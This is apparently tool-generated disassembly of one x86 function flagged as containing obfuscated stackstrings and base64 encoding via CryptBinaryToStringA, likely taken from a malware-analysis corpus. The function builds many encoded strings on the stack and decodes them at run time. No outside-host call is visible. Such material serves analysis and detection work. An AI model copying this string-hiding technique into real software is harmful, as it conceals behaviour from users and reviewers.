Function at 0x10818cba
Capabilities:
Contain obfuscated stackstrings
Encode data using base64 via winapi

Disassembly:
push 0x3f0
mov eax, 0x1084c247
call fcn.1081e8e7
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x14]
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
push eax
push 0
push 0x40000001
push dword [ebx]
push edi
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov ecx, esi
test eax, eax
jne 0x10818cfc
call fcn.1081285b
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10819ab1
push dword [ebp - 0x14]
call fcn.10812db5
lea ecx, [ebp - 0x14]
push ecx
push eax
push 0x40000001
push dword [ebx]
push edi
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov ecx, esi
test eax, eax
jne 0x10818d28
push 0xffffffffffffffff
call fcn.108168b6
mov ecx, esi
jmp 0x10818cec
push dword [ebp - 0x14]
call fcn.10818a2b
push dword [0x11827740]
xor ebx, ebx
mov dword [ebp - 0xc4], 0x48774552
push ebx
sub esp, 0xc
mov dword [ebp - 0xc0], 0x514d694c
mov ecx, esp
mov dword [ebp - 0xbc], 0x3059794f
lea eax, [ebp - 0x1d]
mov dword [ebp - 0xb8], 0x4267524f
mov dword [ebp - 0xb4], 0x794d4250
push dword [ebp - 0x18]
mov dword [ebp - 0xb0], 0x49413343
push eax
mov dword [ebp - 0xac], 0x67515363
lea eax, [ebp - 0xc4]
mov dword [ebp - 0xa8], 0x4a67534c
mov dword [ebp - 0xa4], 0x384a4748
mov dword [ebp - 0xa0], 0x2f51694f
mov dword [ebp - 0x9c], 0x6e55444a
mov dword [ebp - 0x98], 0x424d5346
mov dword [ebp - 0x94], 0x36386948
mov dword [ebp - 0x90], 0x2b557a50
mov dword [ebp - 0x8c], 0x69744249
mov dword [ebp - 0x88], 0x424d7966
mov dword [ebp - 0x84], 0x6f455149
mov dword [ebp - 0x80], 0x31394249
mov dword [ebp - 0x7c], 0x2b457946
mov dword [ebp - 0x78], 0x4c385844
mov dword [ebp - 0x74], 0x79736d4b
mov dword [ebp - 0x70], 0x68306845
mov dword [ebp - 0x6c], 0x3530674e
mov dword [ebp - 0x68], 0x7a6b4445
mov dword [ebp - 0x64], 0x4b346d45
mov dword [ebp - 0x60], 0x4b494841
mov dword [ebp - 0x5c], 0x38787748
mov dword [ebp - 0x58], 0x34784165
mov dword [ebp - 0x54], 0x71554161
mov dword [ebp - 0x50], 0x32674864
mov dword [ebp - 0x4c], 0x64634147
mov dword [ebp - 0x48], 0x32734362
mov dword [ebp - 0x44], 0x6e637a4d
mov dword [ebp - 0x40], 0x39733342
mov dword [ebp - 0x3c], 0x5749784e
mov dword [ebp - 0x38], 0x785a4447
mov dword [ebp - 0x34], 0x72307750
mov dword [ebp - 0x30], 0x6c414448
mov dword [ebp - 0x2c], 0x4f38574e
mov dword [ebp - 0x28], 0x70745143
mov dword [ebp - 0x24], 0x4141674a
mov word [ebp - 0x20], 0x4841
mov byte [ebp - 0x1e], 0x63
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1080f5af
lea eax, [ebp - 0x3d8]
push eax
call fcn.10812565
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], ebx
call fcn.1081bf76
push eax
mov ecx, esi
call fcn.1081690e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3d8]
call fcn.1081bdbe
cmp dword [ebp + 0x14], ebx
je 0x10819aaf
push ebx
sub esp, 0xc
mov dword [ebp - 0x98], 0x55554862
mov ecx, esp
mov dword [ebp - 0x94], 0x36557941
lea eax, [ebp - 0x1d]
mov dword [ebp - 0x90], 0x7542674e
mov dword [ebp - 0x8c], 0x476b6a42
push dword [ebp - 0x18]
mov dword [ebp - 0x88], 0x6d39794d
push eax
mov dword [ebp - 0x84], 0x70455450
lea eax, [ebp - 0x98]
mov dword [ebp - 0x80], 0x76515442
mov dword [ebp - 0x7c], 0x536f5266
mov dword [ebp - 0x78], 0x37495161
mov dword [ebp - 0x74], 0x685a4850
mov dword [ebp - 0x70], 0x6a417766
mov dword [ebp - 0x6c], 0x4159584d
mov dword [ebp - 0x68], 0x67455346
mov dword [ebp - 0x64], 0x4b555344
mov dword [ebp - 0x60], 0x574d7845
mov dword [ebp - 0x5c], 0x2f563341
mov dword [ebp - 0x58], 0x47674163
mov dword [ebp - 0x54], 0x76416964
mov dword [ebp - 0x50], 0x44385143
mov dword [ebp - 0x4c], 0x4b6f774b
mov dword [ebp - 0x48], 0x6d564442
mov dword [ebp - 0x44], 0x5938434f
mov dword [ebp - 0x40], 0x78517947
mov dword [ebp - 0x3c], 0x4155784e
mov dword [ebp - 0x38], 0x6e4a414e
mov dword [ebp - 0x34], 0x7238584c
mov dword [ebp - 0x30], 0x44414866
mov dword [ebp - 0x2c], 0x58305166
mov dword [ebp - 0x28], 0x786b684b
mov dword [ebp - 0x24], 0x41417747
mov word [ebp - 0x20], 0x4641
mov byte [ebp - 0x1e], 0x55
mov dword [ebp - 0x138], 0x64554464
mov dword [ebp - 0x134], 0x7546484d
mov dword [ebp - 0x130], 0x526f7747
mov dword [ebp - 0x12c], 0x33345842
mov dword [ebp - 0x128], 0x6e455343
mov dword [ebp - 0x124], 0x58516849
mov dword [ebp - 0x120], 0x6c4d794c
mov dword [ebp - 0x11c], 0x2f777841
mov dword [ebp - 0x118], 0x6a4d694f
mov dword [ebp - 0x114], 0x63675348
mov dword [ebp - 0x110], 0x594d584f
mov dword [ebp - 0x10c], 0x32415348
mov dword [ebp - 0x108], 0x6c6f774d
mov dword [ebp - 0x104], 0x494d5341
mov dword [ebp - 0x100], 0x37307a43
mov dword [ebp - 0xfc], 0x7a59674b
mov dword [ebp - 0xf8], 0x44517748
mov dword [ebp - 0xf4], 0x4f634166
mov dword [ebp - 0xf0], 0x6b306950
mov dword [ebp - 0xec], 0x41414141
mov word [ebp - 0xe8], 0x414f
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1080f5af
lea eax, [ebp - 0x3e4]
push eax
call fcn.10812565
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], 1
call fcn.1081bf76
push eax
push ebx
sub esp, 0xc
mov ecx, esp
push dword [ebp - 0x18]
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
lea eax, [ebp - 0xe6]
push eax
lea eax, [ebp - 0x138]
push eax
call fcn.1080f5af
lea eax, [ebp - 0x3d8]
push eax
call fcn.10812565
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.1081bf76
push eax
mov ecx, esi
call fcn.1081690e
lea ecx, [ebp - 0x3d8]
call fcn.1081bdbe
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3e4]
call fcn.1081bdbe
mov dword [ebp - 0xe4], 0x57514862
mov dword [ebp - 0xe0], 0x684d4346
mov dword [ebp - 0xdc], 0x32634450
mov dword [ebp - 0xd8], 0x725a5450
mov dword [ebp - 0xd4], 0x6e6f6843
mov dword [ebp - 0xd0], 0x77417965
mov dword [ebp - 0xcc], 0x47414242
mov dword [ebp - 0xc8], 0x48387865
mov dword [ebp - 0xc4], 0x76346d46
mov dword [ebp - 0xc0], 0x686c5161
mov dword [ebp - 0xbc], 0x6a745363
mov dword [ebp - 0xb8], 0x74737762
mov dword [ebp - 0xb4], 0x43594450
mov dword [ebp - 0xb0], 0x6e63434f
mov dword [ebp - 0xac], 0x48675741
mov dword [ebp - 0xa8], 0x30416866
mov dword [ebp - 0xa4], 0x47494441
mov dword [ebp - 0xa0], 0x2f773348
mov dword [ebp - 0x9c], 0x4e454350
mov dword [ebp - 0x98], 0x63304350
mov dword [ebp - 0x94], 0x63417a65
mov dword [ebp - 0x90], 0x71645142
mov dword [ebp - 0x8c], 0x3255534b
mov dword [ebp - 0x88], 0x4b38424d
mov dword [ebp - 0x84], 0x68526849
mov dword [ebp - 0x80], 0x75556e4e
mov dword [ebp - 0x7c], 0x5a515150
mov dword [ebp - 0x78], 0x67317865
mov dword [ebp - 0x74], 0x7a38795a
mov dword [ebp - 0x70], 0x63345261
mov dword [ebp - 0x6c], 0x6645784a
mov dword [ebp - 0x68], 0x6873534b
mov dword [ebp - 0x64], 0x6b637a62
mov dword [ebp - 0x60], 0x33775248
mov dword [ebp - 0x5c], 0x2f775364
mov dword [ebp - 0x58], 0x57307965
mov dword [ebp - 0x54], 0x3541524f
mov dword [ebp - 0x50], 0x34424148
mov dword [ebp - 0x4c], 0x69636d4e
mov dword [ebp - 0x48], 0x334d4346
mov dword [ebp - 0x44], 0x394d434f
mov dword [ebp - 0x40], 0x70467964
mov dword [ebp - 0x3c], 0x324e5262
mov dword [ebp - 0x38], 0x644d794f
mov dword [ebp - 0x34], 0x66514442
mov dword [ebp - 0x30], 0x506b5150
mov dword [ebp - 0x2c], 0x385a484d
mov dword [ebp - 0x28], 0x2f383342
mov dword [ebp - 0x24], 0x7731524e
mov dword [ebp - 0x20], 0x41414141
mov word [ebp - 0x1c], 0x416b
mov dword [ebp - 0x2bc], 0x3855685a
mov dword [ebp - 0x2b8], 0x61415244
mov dword [ebp - 0x2b4], 0x43415346
mov dword [ebp - 0x2b0], 0x6955774f
mov dword [ebp - 0x2ac], 0x6756484a
mov dword [ebp - 0x2a8], 0x4b636e4a
mov dword [ebp - 0x2a4], 0x38566a48
mov dword [ebp - 0x2a0], 0x39514149
mov dword [ebp - 0x29c], 0x77315361
push ebx
sub esp, 0xc
mov dword [ebp - 0x298], 0x72736845
mov ecx, esp
mov dword [ebp - 0x294], 0x7845684c
lea eax, [ebp - 0x1a]
mov dword [ebp - 0x290], 0x3741544f
mov dword [ebp - 0x28c], 0x55456946
push dword [ebp - 0x18]
mov dword [ebp - 0x288], 0x64384262
push eax
mov dword [ebp - 0x284], 0x70454746
lea eax, [ebp - 0xe4]
mov dword [ebp - 0x280], 0x4267774c
mov dword [ebp - 0x27c], 0x2f45444d
mov dword [ebp - 0x278], 0x38524766
mov dword [ebp - 0x274], 0x444d544a
mov dword [ebp - 0x270], 0x39495148
mov dword [ebp - 0x26c], 0x50677750
mov dword [ebp - 0x268], 0x61556a4e
mov dword [ebp - 0x264], 0x7741324e
mov dword [ebp - 0x260], 0x57634446
mov dword [ebp - 0x25c], 0x6e595241
mov dword [ebp - 0x258], 0x74347947
mov dword [ebp - 0x254], 0x395a5148
mov dword [ebp - 0x250], 0x3868684b
mov dword [ebp - 0x24c], 0x3649414f
mov dword [ebp - 0x248], 0x2f6f7961
mov dword [ebp - 0x244], 0x6f64485a
mov dword [ebp - 0x240], 0x306f6943
mov dword [ebp - 0x23c], 0x6338694e
mov dword [ebp - 0x238], 0x54384450
mov dword [ebp - 0x234], 0x7949774b
mov dword [ebp - 0x230], 0x46775349
mov dword [ebp - 0x22c], 0x39305349
mov dword [ebp - 0x228], 0x30317748
mov dword [ebp - 0x224], 0x6d304246
mov dword [ebp - 0x220], 0x3377484d
mov dword [ebp - 0x21c], 0x6c774448
mov dword [ebp - 0x218], 0x51496744
mov dword [ebp - 0x214], 0x79785449
mov dword [ebp - 0x210], 0x4c636e49
mov dword [ebp - 0x20c], 0x5a556e4b
mov dword [ebp - 0x208], 0x53455142
mov dword [ebp - 0x204], 0x6a594845
mov dword [ebp - 0x200], 0x2f354442
mov dword [ebp - 0x1fc], 0x36564343
mov dword [ebp - 0x1f8], 0x62634350
mov dword [ebp - 0x1f4], 0x79385465
mov dword [ebp - 0x1f0], 0x564d774c
mov dword [ebp - 0x1ec], 0x6938794c
mov dword [ebp - 0x1e8], 0x6e30584f
mov dword [ebp - 0x1e4], 0x6a6c4246
mov dword [ebp - 0x1e0], 0x7367794b
mov dword [ebp - 0x1dc], 0x4f496865
mov dword [ebp - 0x1d8], 0x36786a64
mov dword [ebp - 0x1d4], 0x7742774a
mov dword [ebp - 0x1d0], 0x57736743
mov dword [ebp - 0x1cc], 0x41455866
mov dword [ebp - 0x1c8], 0x31434141
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1080f5af
lea eax, [ebp - 0x3d8]
push eax
call fcn.10812565
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], 3
call fcn.1081bf76
push eax
push ebx
sub esp, 0xc
mov ecx, esp
push dword [ebp - 0x18]
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
lea eax, [ebp - 0x1c4]
push eax
lea eax, [ebp - 0x2bc]
push eax
call fcn.1080f5af
lea eax, [ebp - 0x3e4]
push eax
call fcn.10812565
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.1081bf76
push eax
mov ecx, esi
call fcn.1081690e
lea ecx, [ebp - 0x3e4]
call fcn.1081bdbe
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3d8]
call fcn.1081bdbe
mov dword [ebp - 0x1c4], 0x53514862
mov dword [ebp - 0x1c0], 0x4b30794d
mov dword [ebp - 0x1bc], 0x7851424b
mov dword [ebp - 0x1b8], 0x72556a59
mov dword [ebp - 0x1b4], 0x666b4443
mov dword [ebp - 0x1b0], 0x6b73674b
mov dword [ebp - 0x1ac], 0x6e45684f
mov dword [ebp - 0x1a8], 0x64454842
mov dword [ebp - 0x1a4], 0x48384259
mov dword [ebp - 0x1a0], 0x765a5459
mov dword [ebp - 0x19c], 0x3463794c
mov dword [ebp - 0x198], 0x67786a43
mov dword [ebp - 0x194], 0x61555345
mov dword [ebp - 0x190], 0x67525362
mov dword [ebp - 0x18c], 0x6e42694d
mov dword [ebp - 0x188], 0x6f554844
mov dword [ebp - 0x184], 0x6867524f
mov dword [ebp - 0x180], 0x38303341
mov dword [ebp - 0x17c], 0x50497a41
mov dword [ebp - 0x178], 0x4f385346
mov dword [ebp - 0x174], 0x67514450
mov dword [ebp - 0x170], 0x53637a4d
mov dword [ebp - 0x16c], 0x6c735461
mov dword [ebp - 0x168], 0x69425142
mov dword [ebp - 0x164], 0x33736d50
mov dword [ebp - 0x160], 0x78464346
mov dword [ebp - 0x15c], 0x6e735448
mov dword [ebp - 0x158], 0x354e4150
mov dword [ebp - 0x154], 0x6e384250
mov dword [ebp - 0x150], 0x54384259
mov dword [ebp - 0x14c], 0x6e423347
mov dword [ebp - 0x148], 0x6770774d
mov dword [ebp - 0x144], 0x5130474e
mov dword [ebp - 0x140], 0x41417749
mov word [ebp - 0x13c], 0x4741
mov byte [ebp - 0x13a], 0x45
mov dword [ebp - 0x3cc], 0x7a6f6959
mov dword [ebp - 0x3c8], 0x2f4d5844
mov dword [ebp - 0x3c4], 0x5877524c
mov dword [ebp - 0x3c0], 0x6c344248
mov dword [ebp - 0x3bc], 0x43517a61
mov dword [ebp - 0x3b8], 0x4a41484c
mov dword [ebp - 0x3b4], 0x59417947
mov dword [ebp - 0x3b0], 0x37684844
mov dword [ebp - 0x3ac], 0x38636759
mov dword [ebp - 0x3a8], 0x6774584d
mov dword [ebp - 0x3a4], 0x70426a66
mov dword [ebp - 0x3a0], 0x2f557844
mov dword [ebp - 0x39c], 0x37685845
mov dword [ebp - 0x398], 0x36637a44
mov dword [ebp - 0x394], 0x31416a4b
mov dword [ebp - 0x390], 0x4e517a4f
mov dword [ebp - 0x38c], 0x6e787742
mov dword [ebp - 0x388], 0x6e67424b
mov dword [ebp - 0x384], 0x73386949
mov dword [ebp - 0x380], 0x32496961
mov dword [ebp - 0x37c], 0x68564865
mov dword [ebp - 0x378], 0x56776741
mov dword [ebp - 0x374], 0x4f41544d
mov dword [ebp - 0x370], 0x486b7a48
push ebx
sub esp, 0xc
mov dword [ebp - 0x36c], 0x46776a4d
mov ecx, esp
mov dword [ebp - 0x368], 0x646f5344
lea eax, [ebp - 0x139]
mov dword [ebp - 0x364], 0x65417a66
mov dword [ebp - 0x360], 0x67705166
push dword [ebp - 0x18]
mov dword [ebp - 0x35c], 0x51555241
push eax
mov dword [ebp - 0x358], 0x4b45794f
lea eax, [ebp - 0x1c4]
mov dword [ebp - 0x354], 0x34416743
mov dword [ebp - 0x350], 0x7663424e
mov dword [ebp - 0x34c], 0x7a636a4f
mov dword [ebp - 0x348], 0x466f6948
mov dword [ebp - 0x344], 0x65737846
mov dword [ebp - 0x340], 0x6549794c
mov dword [ebp - 0x33c], 0x36747743
mov dword [ebp - 0x338], 0x50345465
mov dword [ebp - 0x334], 0x4c457846
mov dword [ebp - 0x330], 0x4a635862
mov dword [ebp - 0x32c], 0x4177524c
mov dword [ebp - 0x328], 0x56633359
mov dword [ebp - 0x324], 0x77425341
mov dword [ebp - 0x320], 0x54675862
mov dword [ebp - 0x31c], 0x4c494143
mov dword [ebp - 0x318], 0x6751434a
mov dword [ebp - 0x314], 0x47453347
mov dword [ebp - 0x310], 0x6a6f5166
mov dword [ebp - 0x30c], 0x71776846
mov dword [ebp - 0x308], 0x74644259
mov dword [ebp - 0x304], 0x56495463
mov dword [ebp - 0x300], 0x6739794d
mov dword [ebp - 0x2fc], 0x45635464
mov dword [ebp - 0x2f8], 0x39417941
mov dword [ebp - 0x2f4], 0x4873444b
mov dword [ebp - 0x2f0], 0x4e674250
mov dword [ebp - 0x2ec], 0x4a63534a
mov dword [ebp - 0x2e8], 0x6341414f
mov dword [ebp - 0x2e4], 0x76456948
mov dword [ebp - 0x2e0], 0x536b514c
mov dword [ebp - 0x2dc], 0x70346743
mov dword [ebp - 0x2d8], 0x53417862
mov dword [ebp - 0x2d4], 0x4b676e47
mov dword [ebp - 0x2d0], 0x36516949
mov dword [ebp - 0x2cc], 0x61345763
mov dword [ebp - 0x2c8], 0x564d6e4e
mov dword [ebp - 0x2c4], 0x41414141
mov word [ebp - 0x2c0], 0x5178
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1080f5af
lea eax, [ebp - 0x3fc]
push eax
call fcn.10812565
add esp, 0x10
mov ecx, eax
mov dword [ebp - 4], 5
call fcn.1081bf76
push eax
push ebx
sub esp, 0xc
lea eax, [ebp - 0x2be]
mov ecx, esp
push dword [ebp - 0x18]
mov dword [ecx], ebx
push eax
lea eax, [ebp - 0x3cc]
mov dword [ecx + 4], ebx
push eax
mov dword [ecx + 8], ebx
call fcn.1080f5af
lea eax, [ebp - 0x3f0]
push eax
call fcn.10812565
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.1081bf76
push eax
mov ecx, esi
call fcn.1081690e
lea ecx, [ebp - 0x3f0]
call fcn.1081bdbe
lea ecx, [ebp - 0x3fc]
call fcn.1081bdbe
xor eax, eax
call fcn.1081e891
ret